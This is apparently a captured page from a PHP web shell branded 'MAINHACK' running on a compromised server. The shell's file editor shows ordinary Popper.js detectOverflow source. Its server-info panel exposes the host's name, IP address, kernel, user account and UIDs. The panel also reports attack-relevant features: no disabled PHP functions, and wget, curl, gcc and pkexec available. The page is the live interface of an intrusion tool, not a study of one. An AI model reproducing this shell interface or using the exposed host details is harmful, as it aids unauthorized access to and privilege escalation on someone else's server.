[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: detectOverflow.js.flow
// @flow import type { State, SideObject, Padding } from '../types'; import type { Placement, Boundary, RootBoundary, Context } from '../enums'; import getClippingRect from '../dom-utils/getClippingRect'; import getDocumentElement from '../dom-utils/getDocumentElement'; import getBoundingClientRect from '../dom-utils/getBoundingClientRect'; import computeOffsets from './computeOffsets'; import rectToClientRect from './rectToClientRect'; import { clippingParents, reference, popper, bottom, top, right, basePlacements, viewport, } from '../enums'; import { isElement } from '../dom-utils/instanceOf'; import mergePaddingObject from './mergePaddingObject'; import expandToHashMap from './expandToHashMap'; // eslint-disable-next-line import/no-unused-modules export type Options = { placement: Placement, boundary: Boundary, rootBoundary: RootBoundary, elementContext: Context, altBoundary: boolean, padding: Padding, }; export default function detectOverflow( state: State, options: $Shape<Options> = {} ): SideObject { const { placement = state.placement, boundary = clippingParents, rootBoundary = viewport, elementContext = popper, altBoundary = false, padding = 0, } = options; const paddingObject = mergePaddingObject( typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements) ); const altContext = elementContext === popper ? reference : popper; const popperRect = state.rects.popper; const element = state.elements[altBoundary ? altContext : elementContext]; const clippingClientRect = getClippingRect( isElement(element) ? element : element.contextElement || getDocumentElement(state.elements.popper), boundary, rootBoundary ); const referenceClientRect = getBoundingClientRect(state.elements.reference); const popperOffsets = computeOffsets({ reference: referenceClientRect, element: popperRect, strategy: 'absolute', placement, }); const popperClientRect = rectToClientRect({ ...popperRect, ...popperOffsets, }); const elementClientRect = elementContext === popper ? popperClientRect : referenceClientRect; // positive = overflowing the clipping rect // 0 or negative = within the clipping rect const overflowOffsets = { top: clippingClientRect.top - elementClientRect.top + paddingObject.top, bottom: elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom, left: clippingClientRect.left - elementClientRect.left + paddingObject.left, right: elementClientRect.right - clippingClientRect.right + paddingObject.right, }; const offsetData = state.modifiersData.offset; // Offsets can be applied only to the popper element if (elementContext === popper && offsetData) { const offset = offsetData[placement]; Object.keys(overflowOffsets).forEach((key) => { const multiply = [right, bottom].indexOf(key) >= 0 ? 1 : -1; const axis = [top, bottom].indexOf(key) >= 0 ? 'y' : 'x'; overflowOffsets[key] += offset[axis] * multiply; }); } return overflowOffsets; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002